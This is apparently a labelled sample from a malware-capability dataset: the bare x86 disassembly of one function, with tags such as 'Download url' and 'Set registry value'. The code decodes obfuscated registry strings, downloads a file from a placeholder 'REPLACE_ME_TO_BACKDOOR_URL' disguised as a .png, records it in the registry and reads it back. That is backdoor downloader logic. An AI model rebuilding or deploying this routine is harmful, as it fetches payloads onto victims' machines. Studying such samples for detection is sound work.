Function at 0x100020a0
Capabilities:
Check if file exists
Create directory
Download url
Get file attributes
Get file size
Query environment variable
Query or enumerate registry value
Read file on windows
Receive data
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x1000dc7d
mov eax, dword fs:[0]
push eax
sub esp, 0x2a0
mov eax, dword [0x10012324]
xor eax, esp
mov dword [esp + 0x29c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10012324]
xor eax, esp
push eax
lea eax, [esp + 0x2b4]
mov dword fs:[0], eax
lea ecx, [esp + 0x24]
call fcn.10001f10
mov ecx, 0xa
mov esi, str.amZqZmZTb2Z0d2FyZVxNaWNyb3NvZnRcTU1TTkc
lea edi, [esp + 0xa8]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push 0xdb
lea eax, [esp + 0xd5]
push ebx
push eax
mov dword [esp + 0x2c8], ebx
movsb byte es:[edi], byte [esi]
call fcn.100055e0
lea eax, [esp + 0xb4]
add esp, 0xc
mov dword [esp + 0x6c], 0xf
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002131
sub eax, edx
push eax
lea ecx, [esp + 0xac]
push ecx
lea ecx, [esp + 0x5c]
call fcn.10001820
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x58]
push eax
mov byte [esp + 0x2c4], 1
call fcn.10002010
add esp, 8
test al, al
mov ebp, 0x10
sete byte [esp + 0x17]
mov byte [esp + 0x2bc], bl
cmp dword [esp + 0x6c], ebp
jb 0x1000218c
mov ecx, dword [esp + 0x58]
push ecx
call fcn.100057cd
add esp, 4
cmp byte [esp + 0x17], bl
je 0x100021c3
mov eax, dword [esp + 0x30]
cmp eax, ebx
je 0x100021a3
push eax
call fcn.100057cd
add esp, 4
mov edx, dword [esp + 0x24]
push edx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call fcn.100057cd
add esp, 4
xor al, al
jmp 0x1000261b
lea ecx, [esp + 0x3c]
call fcn.10001f10
mov ecx, 7
mov esi, str.YWJjZGVSZWdpc3RyYXRpb25Db2Rl
lea edi, [esp + 0xa8]
rep movsd dword es:[edi], dword [esi]
push 0xe7
lea eax, [esp + 0xc9]
push ebx
push eax
mov byte [esp + 0x2c8], 2
movsb byte es:[edi], byte [esi]
call fcn.100055e0
lea eax, [esp + 0xb4]
add esp, 0xc
mov dword [esp + 0x6c], 0xf
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002218
sub eax, edx
push eax
lea ecx, [esp + 0xac]
push ecx
lea ecx, [esp + 0x5c]
call fcn.10001820
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0x58]
push eax
mov byte [esp + 0x2c4], 3
call fcn.10002010
add esp, 8
test al, al
sete byte [esp + 0x17]
mov byte [esp + 0x2bc], 2
cmp dword [esp + 0x6c], ebp
jb 0x1000226f
mov ecx, dword [esp + 0x58]
push ecx
call fcn.100057cd
add esp, 4
cmp byte [esp + 0x17], bl
je 0x100022d0
mov eax, dword [esp + 0x48]
cmp eax, ebx
je 0x10002286
push eax
call fcn.100057cd
add esp, 4
mov edx, dword [esp + 0x3c]
push edx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
call fcn.100057cd
mov eax, dword [esp + 0x34]
add esp, 4
cmp eax, ebx
je 0x100022b0
push eax
call fcn.100057cd
add esp, 4
mov eax, dword [esp + 0x24]
push eax
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call fcn.100057cd
add esp, 4
xor al, al
jmp 0x1000261b
mov ecx, dword [esp + 0x34]
sub ecx, dword [esp + 0x30]
cmp ecx, 5
ja 0x100022e2
call fcn.100059ba
mov edx, dword [esp + 0x4c]
mov esi, dword [esp + 0x30]
sub edx, dword [esp + 0x48]
add esi, 5
cmp edx, 5
ja 0x100022fb
call fcn.100059ba
mov ebp, dword [esp + 0x48]
push 0x103
lea eax, [esp + 0x1b1]
push ebx
push eax
add ebp, 5
mov byte [esp + 0x1b8], bl
call fcn.100055e0
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push 0x20019
push ebx
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x10002390
lea edx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x1b0]
push eax
lea ecx, [esp + 0x28]
push ecx
push ebx
push ebp
push edx
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
jne 0x10002390
cmp dword [esp + 0x20], 1
jne 0x10002390
lea ecx, [esp + 0x1ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10002569
push ebx
lea edx, [esp + 0x24]
push edx
push ebx
push 0x20006
push ebx
push ebx
push ebx
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
jne 0x100024db
push 0x103
lea eax, [esp + 0xad]
push ebx
push eax
mov byte [esp + 0xb4], bl
call fcn.100055e0
add esp, 0xc
lea ecx, [esp + 0xa8]
push 0x104
push ecx
call fcn.10001040
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edx, [esp + 0x70]
push edx
call fcn.10001c60
lea eax, [esp + 0x90]
push eax
mov byte [esp + 0x2c4], 4
call fcn.10001c60
add esp, 8
lea ecx, [esp + 0xa8]
push ecx
lea ecx, [esp + 0x58]
mov byte [esp + 0x2c0], 5
call fcn.10001ad0
push 0x1000e41c
lea ecx, [esp + 0x58]
mov byte [esp + 0x2c0], 6
call fcn.10001b10
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x78]
push edx
lea ecx, [esp + 0x60]
call fcn.10001610
mov eax, dword [esp + 0x58]
mov esi, 0x10
cmp dword [esp + 0x6c], esi
jae 0x1000245e
lea eax, [esp + 0x58]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1000e41c
lea ecx, [esp + 0x58]
call fcn.10001b10
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x94]
push eax
lea ecx, [esp + 0x60]
call fcn.10001610
push str..png
lea ecx, [esp + 0x58]
call fcn.10001b10
mov eax, dword [esp + 0x58]
cmp dword [esp + 0x6c], esi
jae 0x100024a4
lea eax, [esp + 0x58]
push ebx
push ebx
push eax
push str.REPLACE_ME_TO_BACKDOOR_URL
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, 0x800c0008
jle 0x100024bd
cmp eax, ebx
je 0x100024f4
lea ecx, [esp + 0x54]
call fcn.100013c0
lea ecx, [esp + 0x8c]
call fcn.100013c0
lea ecx, [esp + 0x70]
call fcn.100013c0
lea ecx, [esp + 0x3c]
call fcn.10001440
lea ecx, [esp + 0x24]
call fcn.10001440
xor al, al
jmp 0x1000261b
mov eax, dword [esp + 0x58]
cmp dword [esp + 0x6c], esi
jae 0x10002502
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x1b0]
push 0x104
push ecx
call fcn.10005e8b
mov eax, dword [esp + 0x64]
add esp, 0xc
cmp dword [esp + 0x6c], esi
jae 0x10002526
lea eax, [esp + 0x58]
mov edx, dword [esp + 0x68]
push edx
push eax
mov eax, dword [esp + 0x28]
push 1
push ebx
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x54]
cmp eax, ebx
jne 0x100024c1
call fcn.100013c0
lea ecx, [esp + 0x8c]
call fcn.100013c0
lea ecx, [esp + 0x70]
mov byte [esp + 0x2bc], 2
call fcn.100013c0
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
lea ecx, [esp + 0x1c4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100024db
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebx
je 0x100024db
push ebx
lea eax, [esp + 0x1c]
push eax
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push edx
push edi
mov dword [esp + 0x24], ecx
call fcn.10003230
add esp, 8
cmp eax, ebx
je 0x100025f8
mov ecx, dword [esp + 0x1c]
push ecx
push eax
call fcn.100053d0
add esp, 8
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esp + 0x3c]
call fcn.10001440
lea ecx, [esp + 0x24]
call fcn.10001440
mov al, 1
mov ecx, dword [esp + 0x2b4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x29c]
xor ecx, esp
call fcn.10005e7c
add esp, 0x2ac
ret